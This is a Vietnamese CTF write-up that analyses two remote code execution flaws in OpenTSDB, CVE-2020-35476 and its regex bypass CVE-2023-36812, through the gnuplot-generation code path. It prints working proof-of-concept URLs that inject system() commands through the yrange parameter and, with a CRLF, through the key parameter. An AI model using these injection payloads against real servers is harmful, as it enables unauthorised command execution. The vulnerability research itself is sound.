Vừa rồi mình có tham gia một giải CTF là BSidesTLV 2023 CTF. Trong đó có một bài web liên quan đến lỗ hổng RCE trong OpentSDB phiên bản mới nhất là 2.4.1 (CVE-2023-36812). Tại thời điểm đó chưa có một bài viết gì hay thông tin gì về CVE-2023-36812 ngoài việc nó là một cách bypass của lỗ hổng RCE trước đó của OpenTSDB 2.4.0 là CVE-2020-35476. Do đó bài viết hôm nay mình sẽ đi vào phân tích 2 lỗ hổng CVE-2020-35476 và CVE-2023-36812.
Setup debug
Để đơn giản mình sẽ sử dụng docker để tạo môi trường chạy OpenTSDB.
sudo docker run -p 4242:4242 -p 8000:8000 petergrace/opentsdb-docker
Trong đó port 4242 là port chạy OpenTSDB và port 8000 được sử dụng để remote debug.
Copy all jar file
Sau khi docker khởi động, chúng ta đi vào bên trong image và lấy hết các file jar của OpenTSDB ra.
mkdir /tmp/alljar
find / -name "*.jar" -exec cp {} /tmp/alljar \;
Sau đó copy ra bên ngoài máy tính và sử dụng intelij để debug
docker cp <container_id>:<đường_dẫn_đến_tệp_trong_container> <đường_dẫn_đích_trên_máy_thật>
setup remote debug trên opentsdb
Mặc định thì docker image mình để bên trên sẽ không có vim hay nano, chúng ta có thể thêm nano bằng câu lệnh sau
apk add nano
Sau đó chúng ta sẽ chỉnh sửa file /usr/local/bin/tsdb
thành như sau
Tiếp theo ta cần restart lại OpenTSDB, sau khi tìm kiếm một hồi thì mình cũng chưa biết restart như nào nên mình chọn cách kill hết tất cả process đang chạy của OpenTSDB và start lại như sau
ps aux | grep tsd
kill <PID>
./start_opentsdb.sh
setup remote debug trên intelij
Chúng ta khởi tạo một project rỗng, sau đó thực hiện add các file jar ta đã lấy ra từ bước trên vào lib File -> Project Structure -> Libraries -> +
Sau đó chúng ta thực hiện cấu hình để remote debug (lưu ý port là 8000)
Cuối cùng bấm debug, nếu hiển thị như sau là đã setup thành công
CVE-2020-35476
Theo nguồn tại https://github.com/OpenTSDB/opentsdb/issues/2051. Chúng ta được biết poc sẽ như sau
http://localhost:4242/q?start=2000/10/21-00:00:00&end=2020/10/25-15:56:44&m=sum:sys.cpu.nice&o=&ylabel=&xrange=10:10&yrange=[33:system(%27touch /tmp/poc.txt%27)]&wxh=1516x644&style=linespoint&baba=lala&grid=t&json
có thể thấy rõ ràng rằng command được chèn vào tham số yrange
. Tuy nhiên khi chạy poc trên ta sẽ nhận được lỗi như sau:
Nguyên nhân là do chúng ta chưa tạo metrics có tên là sys.cpu.nice
và chưa có dữ liệu trong metric đó. Dựa theo document tại http://opentsdb.net/docs/build/html/user_guide/quickstart.html và http://opentsdb.net/docs/build/html/api_http/put.html ta thực hiện tạo mới metric như sau
/usr/local/bin/tsdb mkmetric sys.cpu.nice
Sau đó thêm dữ liệu bằng api như sau
Như vậy sau khi chạy poc trên ta đã tạo được 1 file poc.txt ở trong thư mục /tmp.
Bây giờ chúng ta cùng đi sâu hơn vào source code để hiểu hơn về cách xử lý của server.
Method popParam
trong class GraphHandler
thực hiện việc xử lý các param trên url. Đoạn code trong method trên đã thực hiện lọc kí tự back-ticks `.
Các param này sẽ được set cho 1 đối tượng Plot
thông qua method setParams
Sau đó chương trình sẽ thực hiện method GraphHandler.doGraph
và tạo một đối tượng RunGnuplot
tại dòng 180
Cuối cùng chương trình thực hiện execGnuplot
tại dòng 206
Nhảy vào method execGnuplot
Method này sẽ thực hiện excute trên đối tượng gnupot, mà this.gnuplot
ở đây là một đối tượng của lớp ThreadPoolExecutor
Chi tiết đoạn code trên có thể hiểu như sau.
int var1 = Runtime.getRuntime().availableProcessors();
Dòng này lấy số lượng bộ xử lý (processors) có sẵn trên hệ thống. Phương thức availableProcessors()
trong lớp Runtime trả về số lượng bộ xử lý có sẵn trên máy tính.
this.gnuplot = new ThreadPoolExecutor(var1, var1, 300000L, TimeUnit.MILLISECONDS, new ArrayBlockingQueue(20 * var1), thread_factory);
Dòng này khởi tạo một ThreadPoolExecutor mới.
- var1 được sử dụng cho corePoolSize và maximumPoolSize, đại diện cho số lượng luồng (threads) tối đa có thể được chạy cùng một lúc trong ThreadPoolExecutor. Trong trường hợp này, số lượng luồng được sử dụng bằng số lượng bộ xử lý có sẵn trên hệ thống.
- 300000L là thời gian sống tối đa của một luồng không hoạt động trước khi nó bị hủy bỏ (300000L milliseconds = 5 phút).
- TimeUnit.MILLISECONDS chỉ định đơn vị thời gian cho các tham số liên quan đến thời gian.
- new ArrayBlockingQueue(20 * var1) tạo một hàng đợi blocking có kích thước tối đa là 20 lần số lượng luồng (var1).
- thread_factory là một đối tượng ThreadFactory được sử dụng để tạo các luồng mới trong ThreadPoolExecutor.
Tóm lại, đoạn code này tạo một ThreadPoolExecutor với số lượng luồng tối đa là số lượng bộ xử lý có sẵn trên hệ thống, sử dụng một hàng đợi blocking để quản lý các tác vụ và có thời gian sống tối đa cho mỗi luồng. ThreadPoolExecutor này có thể được sử dụng để thực thi các tác vụ đồng thời trong ứng dụng của bạn.
Quay lại đoạn code trước đó. Hệ thống gọi đến this.gnuplot.execute(var1);
với var 1
là đối tượng RunGnuplot
. Dòng này thực hiện thực thi đối tượng RunGnuplot (var1) bằng cách gửi nó vào ThreadPoolExecutor (gnuplot). Đối tượng RunGnuplot có thể là một tác vụ hoặc một công việc cần được thực hiện bất đồng bộ. Khi ThreadPoolExecutor gọi phương thức execute() và đối tượng được truyền vào sẽ được thực thi thông qua phương thức run() của đối tượng đó. Đối tượng này phải là một đối tượng implement interface Runnable, và phương thức run() trong interface Runnable sẽ được gọi khi nhiệm vụ (task) được chạy trong thread pool.
Khi bạn gọi execute() trên ThreadPoolExecutor và truyền một đối tượng implement Runnable, thread pool sẽ lấy một thread từ pool và gọi phương thức run() của đối tượng Runnable đó trong thread đó. Sau khi phương thức run() hoàn thành, thread sẽ được trả lại cho pool để sử dụng cho các nhiệm vụ khác nếu có. Nghĩa là RunGnuplot.run
sẽ được gọi lên
Method này tiếp tục gọi đến this.excute
và sau đó là GraphHandler.runGnuplot
Nhảy vào method runGnuplot
Tại đây đoạn code thực hiện ghi các biến vào file .gnuplot
thông qua method dumpToFiles
. File .gnuplot
trông sẽ như sau
set term png small size 1516,644
set xdata time
set timefmt "%s"
if (GPVAL_VERSION < 4.6) set xtics rotate; else set xtics rotate right
set output "/tmp/afd24391.png"
set xrange ["972086400":"1603641404"]
set format x "%Y/%m/%d"
set grid
set style data linespoint
set key right box
set ylabel ""
set yrange [33:system('touch /tmp/a.txt')]
plot "/tmp/afd24391_0.dat" using 1:2 title "sys.cpu.nice{host=web01, dc=lga}"
Trong tệp .gnuplot, lệnh system được sử dụng để thực thi các lệnh hệ thống từ trong mã nguồn gnuplot. Lệnh này cho phép bạn chạy các lệnh hệ thống bên ngoài từ trong môi trường gnuplot.
Tiếp theo tại dòng 525, chương trình tạo một process để sử dụng gnuplot thực thi file .gnuplot vừa tạo như sau
Process var6 = (new ProcessBuilder(new String[]{GNUPLOT, var1 + ".out", var1 + ".err", var1 + ".gnuplot"})).start();
Đến đây câu lệnh của chúng ta đã được thực thi và chúng ta đã đạt được RCE tại đây.
CVE-2023-36812
CVE này chỉ là bản bypass của CVE-2020-35476. Toàn bộ flow sẽ y hệt như phía trên. Cùng xem bản diff của 2 phiên bản 2.4.0 và 2.4.1 trên OpenTSDB
Vendor sử dụng regex để fix lỗ hổng RCE trước. Tuy nhiên regex này vẫn có thể bypass một cách dễ dàng. Ví dụ với regex filter biến key là
private static Pattern KEY_VALIDATOR = Pattern.compile("(out|left|top|center|right|horiz|box|bottom)?\\s?");
Giải thích regex như sau
-
(out|left|top|center|right|horiz|box|bottom): Đây là một nhóm các từ khóa được liệt kê, trong đó chỉ có một từ khóa được chấp nhận. Cụ thể, các từ khóa trong nhóm này là: "out", "left", "top", "center", "right", "horiz", "box", "bottom". Ký tự | giữa các từ khóa đại diện cho sự lựa chọn, chỉ có một từ khóa được chấp nhận.
-
?: Ký tự ? sau nhóm từ khóa là quantifier và có ý nghĩa tùy chọn. Nó chỉ ra rằng nhóm từ khóa trước nó có thể xuất hiện hoặc không xuất hiện trong chuỗi.
-
\s?: Đây là một ký tự whitespace \s theo sau bởi quantifier ?. Nó chỉ ra rằng ký tự whitespace có thể xuất hiện hoặc không xuất hiện trong chuỗi. Ký tự \ trước \s là để escape ký tự \ vì nó là một ký tự đặc biệt trong regex.
Như vậy để bypass regex trên ta có thể sử dụng payload như sau top%0d%0asystem('touch /tmp/poc.txt')
file .gnuplot
được tạo ra như sau
set term png small size 1516,644
set xdata time
set timefmt "%s"
if (GPVAL_VERSION < 4.6) set xtics rotate; else set xtics rotate right
set output "/tmp/opentsdb/948e1a5.png"
set xrange ["972086400":"1603641404"]
set format x "%Y/%m/%d"
set grid
set style data linespoint
set ylabel "a"
set yrange [0:]
set key top
system('touch /tmp/poc.txt')
plot "/tmp/opentsdb/948e1a5_0.dat" using 1:2 title "sys.cpu.nice{host=web01, dc=lga}"
POC:
http://localhost:4242/q?start=2000/10/21-00:00:00&end=2020/10/25-15:56:44&m=sum:sys.cpu.nice&o=&ylabel=a&xrange=10:10&yrange=[0:]&wxh=1516x644&style=linespoint&baba=lala&grid=t&json&key=top%0d%0asystem(%27touch%20/tmp/poc.txt%27)